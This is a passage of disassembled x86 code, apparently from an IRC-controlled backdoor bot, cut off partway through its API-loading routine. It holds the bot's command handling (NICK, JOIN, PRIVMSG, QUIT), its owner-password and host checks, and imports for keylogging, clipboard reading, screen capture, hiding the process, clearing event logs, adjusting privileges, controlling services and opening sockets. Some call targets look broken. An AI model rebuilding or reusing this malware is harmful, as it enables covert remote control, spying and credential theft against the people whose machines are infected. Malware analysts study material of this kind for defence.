		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2670EC7h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	dword_4CB6EC
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E5A4[eax]
		nop
		call	near ptr 2690A0Ah
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43E5A4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E390[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4095D6:				; CODE XREF: sub_401ACD+3DCCj
					; sub_401ACD+3DE1j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409642
		call	sub_40B2C0
		cmp	eax, ebx
		jle	short loc_4095FD
		push	eax
		push	offset unk_429DC4
		jmp	loc_408CDC
; ---------------------------------------------------------------------------


loc_4095FD:				; CODE XREF: sub_401ACD+7B23j
		push	offset unk_429D9C


loc_409602:				; CODE XREF: sub_401ACD+24FAj
					; sub_401ACD+2519j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_409610:				; CODE XREF: sub_401ACD+721Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_409631
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_409629:				; CODE XREF: sub_401ACD+6DB5j
		call	sub_409A73
		add	esp, 14h


loc_409631:				; CODE XREF: sub_401ACD+26F7j
					; sub_401ACD+2722j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		jmp	loc_40207D
; ---------------------------------------------------------------------------


loc_409642:				; CODE XREF: sub_401ACD+7B1Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_40965E:				; CODE XREF: sub_401ACD+7C02j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B232
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409685
		push	offset unk_429D78
		jmp	short loc_40968A
; ---------------------------------------------------------------------------


loc_409685:				; CODE XREF: sub_401ACD+7BAFj
		push	offset unk_429D4C


loc_40968A:				; CODE XREF: sub_401ACD+7BB6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096BA
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_4096BA:				; CODE XREF: sub_401ACD+7BCFj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965E
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4096D6:				; CODE XREF: sub_401ACD+3DA2j
					; sub_401ACD+3DB7j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	esi
		push	offset dword_42A4B8
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	offset dword_429D30
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409712:				; CODE XREF: sub_401ACD+3D78j
					; sub_401ACD+3D8Dj
		push	[ebp+arg_10]
		push	offset dword_42A41C
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429D0C
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409732:				; CODE XREF: sub_401ACD+3D4Ej
					; sub_401ACD+3D63j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_429CE8
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409759:				; CODE XREF: sub_401ACD+3D24j
					; sub_401ACD+3D39j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429CC4
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409779:				; CODE XREF: sub_401ACD+3164j
					; sub_401ACD+3179j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CA0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h


loc_4097B3:				; CODE XREF: sub_401ACD+7D34j
		push	eax
		call	near ptr 2670EC7h
		nop


loc_4097BA:				; CODE XREF: sub_401ACD+2AA3j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_4097C1:				; CODE XREF: sub_401ACD+313Aj
					; sub_401ACD+314Fj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429C78
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B3
; ---------------------------------------------------------------------------


loc_409803:				; CODE XREF: sub_401ACD+EC9j
					; sub_401ACD+EDEj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08E
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C54


loc_40984E:				; CODE XREF: sub_401ACD+70B5j
					; sub_401ACD+778Bj ...
		call	sub_415221
		pop	ecx


loc_409854:				; CODE XREF: sub_401ACD+6CBAj
		pop	ecx


loc_409855:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_40985D:				; CODE XREF: sub_401ACD+AB4j
					; sub_401ACD+AC9j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42D120 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CB50C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429C50 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FC
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BD0
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_4098FC:				; CODE XREF: sub_401ACD+7DEBj
		mov	[ebp+arg_24], offset off_429160


loc_409903:				; CODE XREF: sub_401ACD+7E52j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B450
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409963
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409903
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B7C
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_409963:				; CODE XREF: sub_401ACD+7E45j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409968:				; CODE XREF: sub_401ACD+7EC5j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409988
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409999


loc_409988:				; CODE XREF: sub_401ACD+7EA6j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409968
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_409999:				; CODE XREF: sub_401ACD+7EB9j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099D0
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B5C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_4099D0:				; CODE XREF: sub_401ACD+7EE7j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B3C
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_4099E1:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		mov	dword_4CB504, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2D	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		leave
		retn
sub_409A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A73	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8E
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409A8E:				; CODE XREF: sub_409A73+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B11
		push	7D0h
		nop
		call	near ptr 2670EC7h

locret_409B11:				; CODE XREF: sub_409A73+91j
		leave
		retn
sub_409A73	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B13	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C33
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB700, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB674, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB658, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB568, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB514, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB544, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB5BC, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CB6B4, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB710, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB574, eax
		call	esi
		cmp	dword_4CB700, ebx
		mov	dword_4CB55C, eax
		jz	short loc_409C11
		cmp	dword_4CB674, ebx
		jz	short loc_409C11
		cmp	dword_4CB658, ebx
		jz	short loc_409C11
		cmp	dword_4CB568, ebx
		jz	short loc_409C11
		cmp	dword_4CB544, ebx
		jz	short loc_409C11
		cmp	dword_4CB5BC, ebx
		jz	short loc_409C11
		cmp	dword_4CB6B4, ebx
		jz	short loc_409C11
		cmp	dword_4CB710, ebx
		jz	short loc_409C11
		cmp	dword_4CB574, ebx
		jz	short loc_409C11
		cmp	eax, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409B13+B8j
					; sub_409B13+C0j ...
		mov	dword_4CB714, 1


loc_409C1B:				; CODE XREF: sub_409B13+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB68C, eax
		jz	short loc_409C48
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C48
; ---------------------------------------------------------------------------


loc_409C33:				; CODE XREF: sub_409B13+1Dj
		call	near ptr 2680932h
		nop
		mov	dword_4CB718, eax
		mov	dword_4CB714, 1


loc_409C48:				; CODE XREF: sub_409B13+117j
					; sub_409B13+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26A0C87h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5D
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CB6B0, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB660, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB5F4, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB704, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB624, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB644, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CB6A8, eax
		call	esi
		cmp	dword_4CB6B0, ebx
		mov	dword_4CB594, eax
		jz	short loc_409D01
		cmp	dword_4CB660, ebx
		jz	short loc_409D01
		cmp	dword_4CB5F4, ebx
		jz	short loc_409D01
		cmp	dword_4CB704, ebx
		jz	short loc_409D01
		cmp	dword_4CB624, ebx
		jz	short loc_409D01
		cmp	dword_4CB644, ebx
		jz	short loc_409D01
		cmp	dword_4CB6A8, ebx
		jz	short loc_409D01
		cmp	eax, ebx
		jnz	short loc_409D0B


loc_409D01:				; CODE XREF: sub_409B13+1B8j
					; sub_409B13+1C0j ...
		mov	dword_4CB71C, 1


loc_409D0B:				; CODE XREF: sub_409B13+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB620, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB528, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB5F0, eax
		call	esi
		cmp	dword_4CB620, ebx
		mov	dword_4CB5D8, eax
		jz	short loc_409D68
		cmp	dword_4CB528, ebx
		jz	short loc_409D68
		cmp	dword_4CB5F0, ebx
		jz	short loc_409D68
		cmp	eax, ebx
		jnz	short loc_409D72
		jmp	short loc_409D68
; ---------------------------------------------------------------------------


loc_409D5D:				; CODE XREF: sub_409B13+144j
		call	near ptr 2680932h
		nop
		mov	dword_4CB720, eax


loc_409D68:				; CODE XREF: sub_409B13+232j
					; sub_409B13+23Aj ...
		mov	dword_4CB71C, 1


loc_409D72:				; CODE XREF: sub_409B13+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2B
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CB6C4, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB608, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB678, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB554, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB5B8, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB630, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB5D4, eax
		call	esi
		cmp	dword_4CB6C4, ebx
		mov	dword_4CB5E4, eax
		jz	short loc_409E1B
		cmp	dword_4CB608, ebx
		jz	short loc_409E1B
		cmp	dword_4CB678, ebx
		jz	short loc_409E1B
		cmp	dword_4CB554, ebx
		jz	short loc_409E1B
		cmp	dword_4CB5B8, ebx
		jz	short loc_409E1B
		cmp	dword_4CB630, ebx
		jnz	short loc_409E25


loc_409E1B:				; CODE XREF: sub_409B13+2DEj
					; sub_409B13+2E6j ...
		mov	dword_4CB724, 1


loc_409E25:				; CODE XREF: sub_409B13+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB638, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB610, eax
		call	esi
		cmp	dword_4CB638, ebx
		mov	dword_4CB6C0, eax
		jz	short loc_409E60
		cmp	dword_4CB610, ebx
		jz	short loc_409E60
		cmp	eax, ebx
		jnz	short loc_409E6A


loc_409E60:				; CODE XREF: sub_409B13+33Fj
					; sub_409B13+347j
		mov	dword_4CB724, 1


loc_409E6A:				; CODE XREF: sub_409B13+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB648, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB530, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB538, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB59C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB5A0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB54C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB614, eax
		call	esi
		cmp	dword_4CB648, ebx
		mov	dword_4CB53C, eax
		jz	short loc_409F0E
		cmp	dword_4CB530, ebx
		jz	short loc_409F0E
		cmp	dword_4CB538, ebx
		jz	short loc_409F0E
		cmp	dword_4CB59C, ebx
		jz	short loc_409F0E
		cmp	dword_4CB5A0, ebx
		jz	short loc_409F0E
		cmp	dword_4CB54C, ebx
		jz	short loc_409F0E
		cmp	dword_4CB614, ebx
		jz	short loc_409F0E
		cmp	eax, ebx
		jnz	short loc_409F18


loc_409F0E:				; CODE XREF: sub_409B13+3C5j
					; sub_409B13+3CDj ...
		mov	dword_4CB724, 1


loc_409F18:				; CODE XREF: sub_409B13+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB534, eax
		jnz	short loc_409F40
		jmp	short loc_409F36
; ---------------------------------------------------------------------------


loc_409F2B:				; CODE XREF: sub_409B13+26Aj
		call	near ptr 2680932h
		nop
		mov	dword_4CB728, eax


loc_409F36:				; CODE XREF: sub_409B13+416j
		mov	dword_4CB724, 1


loc_409F40:				; CODE XREF: sub_409B13+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00C
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB640, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CB698, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CB6A0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB65C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB578, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB524, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CB69C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB510, eax
		call	esi
		cmp	dword_4CB640, ebx
		mov	dword_4CB5B0, eax
		jz	short loc_40A017
		cmp	dword_4CB698, ebx
		jz	short loc_40A017
		cmp	dword_4CB6A0, ebx
		jz	short loc_40A017
		cmp	dword_4CB65C, ebx
		jz	short loc_40A017
		cmp	dword_4CB578, ebx
		jz	short loc_40A017
		cmp	dword_4CB524, ebx
		jz	short loc_40A017
		cmp	dword_4CB69C, ebx
		jz	short loc_40A017
		cmp	dword_4CB510, ebx
		jz	short loc_40A017
		cmp	eax, ebx
		jnz	short loc_40A021
		jmp	short loc_40A017
; ---------------------------------------------------------------------------


loc_40A00C:				; CODE XREF: sub_409B13+438j
		call	near ptr 2680932h
		nop
		mov	dword_4CB730, eax


loc_40A017:				; CODE XREF: sub_409B13+4B9j
					; sub_409B13+4C1j ...
		mov	dword_4CB72C, 1


loc_40A021:				; CODE XREF: sub_409B13+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DD
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB5C4, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB6F8, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB564, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB540, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB600, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB5E8, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB5AC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CB6D4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB6F0, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB5FC, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB6E0, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CB694, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB654, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB650, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB584, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB57C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CB6A4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CB6B8, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB66C, eax
		call	esi
		mov	dword_4CB62C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CB680, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB63C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB67C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB6E8, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB634, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB5F8, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB668, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CB6D8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB60C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB5A8, eax
		call	esi
		cmp	dword_4CB5C4, ebx
		mov	dword_4CB6EC, eax
		jz	loc_40A2E8
		cmp	dword_4CB6F8, ebx
		jz	loc_40A2E8
		cmp	dword_4CB564, ebx
		jz	loc_40A2E8
		cmp	dword_4CB600, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5E8, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5AC, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6D4, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6F0, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5FC, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6E0, ebx
		jz	loc_40A2E8
		cmp	dword_4CB694, ebx
		jz	loc_40A2E8
		cmp	dword_4CB654, ebx
		jz	loc_40A2E8
		cmp	dword_4CB650, ebx
		jz	loc_40A2E8
		cmp	dword_4CB584, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6A4, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6B8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB66C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB62C, ebx
